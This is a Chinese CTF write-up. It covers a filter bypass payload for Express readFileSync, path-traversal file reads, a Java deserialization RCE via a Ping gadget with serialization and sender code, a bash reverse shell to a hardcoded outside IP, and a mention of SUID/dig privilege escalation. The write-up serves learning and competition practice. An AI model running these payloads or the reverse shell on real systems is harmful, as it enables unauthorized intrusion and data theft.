Express fs

进入题目后点击按钮跳转到?file=check.html,一片空白,还以为要用file://进行读取,后面才发现可以直接读如:?file=/etc/passwd,读取环境变量什么都没有。本来还想说有没有非预期,主办方删的很干净,什么都没有。在/proc/self/cmdlind看到node main.js,读取main.js,发现

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 80;

app.use('/static', express.static('static'))

app.use((req, res, next) => {
if (
[req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)
) {
return res.send("臭黑客!");
}
next();
});

app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
} catch (err) {
console.log(err);
res.status(500).send("Internal server error");
}
});

app.listen(PORT, () => console.log(express server listening on port ${PORT}));

其中JSON.stringify() 方法将 JavaScript 对象转换为字符串。我们传进去的query_string都会被转化,所以?a=flag&file=1也会被过滤。题目其实和corCTF 2022 simplewaf一模一样,主要是传参?file[href]=a&file[origin]=a&file[protocol]=file:&file[hostname]=来让readFileSync()可以对文件路径进行url解码 ,然后因为get本身会有一次url解码,所以我们只要对flag进行二次url编码就可以绕过检测。最终payload(其实和corctf的一模一样):?file[href]=a&file[origin]=a&file[protocol]=file:&file[hostname]=&file[pathname]=fl%2561g.txt

综合题5

先上传了一张图片,成功上传,跳转到/upload,返回的json形式的字符串,而且文件也没被改名字,但是没有返回路径。后面又传了几次,发现上传之后没有跳转到/upload,而且前端页面上多了个view按钮,点击抓包跳转到/readfile?filename=,返回的数据包就是我们上传的图片。然后放包就下载了我们刚才上传的文件。存在任意文件读取及下载漏洞,然后我们是在/app还是/app/Upload路径下,反正多来几个../就可以跳转到根目录了,然后读取/etc/passwd,成功读取。理所当然的先读/proc,(╯▽╰),然后环境变量又被删干净了。然后读取/proc/self/cmdline找到/app/demo.jar,下载并解压,找到一段代码如下:

    private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";
    public String O0O = "6925cc02789c1d2552b71acc4a2d48fd";
    public String o0o(String Ooo) {
        StringBuilder oOo = new StringBuilder();
        int o0O = 0;

        for(int OO0 = Ooo.length(); o0O < OO0; ++o0O) {
            char Oo0 = Ooo.charAt(o0O);
            char oOO = this.O0O.charAt(o0O % this.O0O.length());
            char OOo = (char)(Oo0 ^ oOO);
            oOo.append(OOo);
        }

        return Base64.getEncoder().encodeToString(oOo.toString().getBytes());
    }

其实最开始没想到这居然就是flag,只是看到类似于base加密的字符串就想要解密,ctfer可悲的习性。后面发现base64解不出来,于是扔给chatgpt,给出了解密脚本

import java.util.Base64;
public class Main {
    public static void main(String[] args) {
        String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";
        String O0O = "6925cc02789c1d2552b71acc4a2d48fd";
        
        String decryptedString = decrypt(enc_flag1, O0O);
        
        System.out.println(decryptedString);
    }
    
    public static String decrypt(String enc_flag1, String O0O) {
        byte[] decodedBytes = Base64.getDecoder().decode(enc_flag1);
        
        StringBuilder decrypted = new StringBuilder();
        for (int i = 0; i < decodedBytes.length; i++) {
            char Oo0 = (char) (decodedBytes[i] ^ O0O.charAt(i % O0O.length()));
            decrypted.append(Oo0);
        }
        
        return decrypted.toString();
    }
}

运行便是flag。

综合题6

综合题6和综合题5是同一个环境,有一个ping类

class Ping implements Serializable {
    private static final long serialVersionUID = 1L;
    private String command;
    private String arg1;
    private String arg2;

    Ping() {
    }

    public void setCommand(String command) {
        this.command = command;
    }

    public void setArg1(String arg1) {
        this.arg1 = arg1;
    }

    public void setArg2(String arg2) {
        this.arg2 = arg2;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        String[] cmdArray = new String[]{this.command, this.arg1, this.arg2};
        Runtime.getRuntime().exec(cmdArray);
    }
}

这不就是主办方甩我们脸上的恶意类吗?而且Upload下还有

@PostMapping({"/internalApi/v3.2/updateConfig"})
    public String syncData(@RequestBody String payload) {
        try {
            byte[] data = Base64.getDecoder().decode(payload);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
            Object obj = ois.readObject();
            return "Data synced successfully";
        } catch (ClassNotFoundException | IOException var5) {
            return "Failed to sync data: " + var5.getMessage();
        }
    }

就是反序列化一个经过base64加密的字符串,真的是很简单了,如果是php的话。本(笨)人也没去认真的学Java反序列化这块,只记得好像可以有两种写法,写文件序列化,不写文件序列化。反正就是连写反序列的基本语法都不清楚,☹。后面比赛的时候还去搜java反序列的基本,去参考别人写的语句又去问chatgpt,弄了好久终于弄出来一个序列化的脚本,

    Ping payload = new Ping();
    payload.setCommand("ls");
    payload.setArg1("-al");
    payload.setArg2("/");
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(out);
    objOut.writeObject(payload);
    System.out.println(out.toByteArray());
    String ans = Base64.getEncoder().encodeToString(out.toByteArray());
    System.out.println(ans);

后面还加上

    byte[] data = Base64.getDecoder().decode(ans);
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    Object obj = ois.readObject();

在本地进行调试。报错了,也就是的确反序列化了,并执行了我的命令,因为是Windows系统,所以当然会报错。然后就去/internalApi/v3.2/updateConfig路由下post传值,最开始传payload=,报错了,后面仔细看源码才发现不用加payload=,源码里的payload就是我们post的字符串,传过去后还是报错,但是反序列时的报错说ping类的位置在org.example.ping,至少是进行了反序列,说明至少传值的方式对了。然后题目里的ping类其实应该是在com.example.demo.ping,所以是类的路径不对,所以我在本地把org.example改成com.example.demo,然后传值。结果直接没反序列就报错了。完全不知道为什么,脚本也没改啊。改回org.example.ping又报的是反序列时的错了。然后还特意用spring-boot的项目(之前软创时写的BlogDemo)来运行我的Main.java。后面才知道要用Java进行发包才可以,于是又让chatgpt写了个Java的发包脚本。

try {
        // 创建一个URL对象,指定POST请求的目标网址
        URL url = new URL("http://8.130.127.14:51180/internalApi/v3.2/updateConfig");

        // 打开一个HTTP连接
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();

        // 设置请求方法为POST
        connection.setRequestMethod("POST");

        // 启用输入和输出流
        connection.setDoInput(true);
        connection.setDoOutput(true);

        // 设置请求头信息(可选)
        connection.setRequestProperty("Content-Type", "application/json");

        // 构建POST请求体数据
        String postData = ans;
        byte[] postDataBytes = postData.getBytes("UTF-8");

        // 获取连接的输出流
        DataOutputStream out_out = new DataOutputStream(connection.getOutputStream());

        // 将POST请求体数据写入连接
        out_out.write(postDataBytes);
        out_out.flush();
        out_out.close();

        // 获取服务器响应的输入流
        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
        String inputLine;
        StringBuilder response = new StringBuilder();

        // 读取响应内容
        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        in.close();

        // 打印响应内容
        System.out.println(response.toString());

        // 关闭连接
        connection.disconnect();
    } catch (IOException e) {
        e.printStackTrace();
    }

这回终于是反序列化成功了,但是无回显的rce,于是弹shell,结果一直不成功,发现要这样bash -c才会真正执行我们的命令,之前没回显也没看出来。

    payload.setCommand("bash");
    payload.setArg1("-c");
    payload.setArg2("bash -i >& /dev/tcp/124.221.19.214/2333 0>&1");

终于成功弹到shell,不知道用不用spring-boot有没有影响,还是说只要改成com.example.demo就可以了。比赛时也没时间来做实验,所以也不是很清楚。
弹到shell后,当然还是老样子,env,好吧,还是没有。在/app下有个hint.txt说flag在/root/flag2,所以还要提权才可以。经典find / -perm -u=s -type f 2>/dev/null,看了一下好像(??)也没什么命令可以提,后面又尝试dbus之类的,结果也没有提出来。还用了history命令来查看执行过的命令,找到/tmp/mytar,下载解压也没什么。/tmp下都看了一遍也没找到什么。其实是dig命令提权。之前用find命令的结果也没仔细的去一个一个尝试,所以真是绕个很大的弯路,最后相当于可以root的权限去读文件。

其他没解出来的

php反序列化

<?php
highlight_file(__FILE__);
$flag=file_get_contents('/tmp/flag.txt');
class test{
    public function __call($f,$p){
        global $flag;
        var_dump($flag);
    }
}
if(isset($_GET['code']))var_dump(unserialize(base64_decode($_GET['code'])));
?>

源码就这么短短几句,就是要调用__call函数就可以了。但是,什么都没有怎么触发???比赛的时候也是0解,后面一道,叫UTA好像,更抽象。

<?php
if(isset($_GET['code']))var_dump(unserialize(base64_decode($_GET['code'])));
?>

就这么一句就更不知道怎么做了,php的原生类?反正我不会,当然还是0解。
还有个0解的jdbc,没怎么看,一看Java果断跳过。
然后还有个综合题7,那时候比赛结束了,也不知道它还要考什么,反正综合题的环境都是同一个。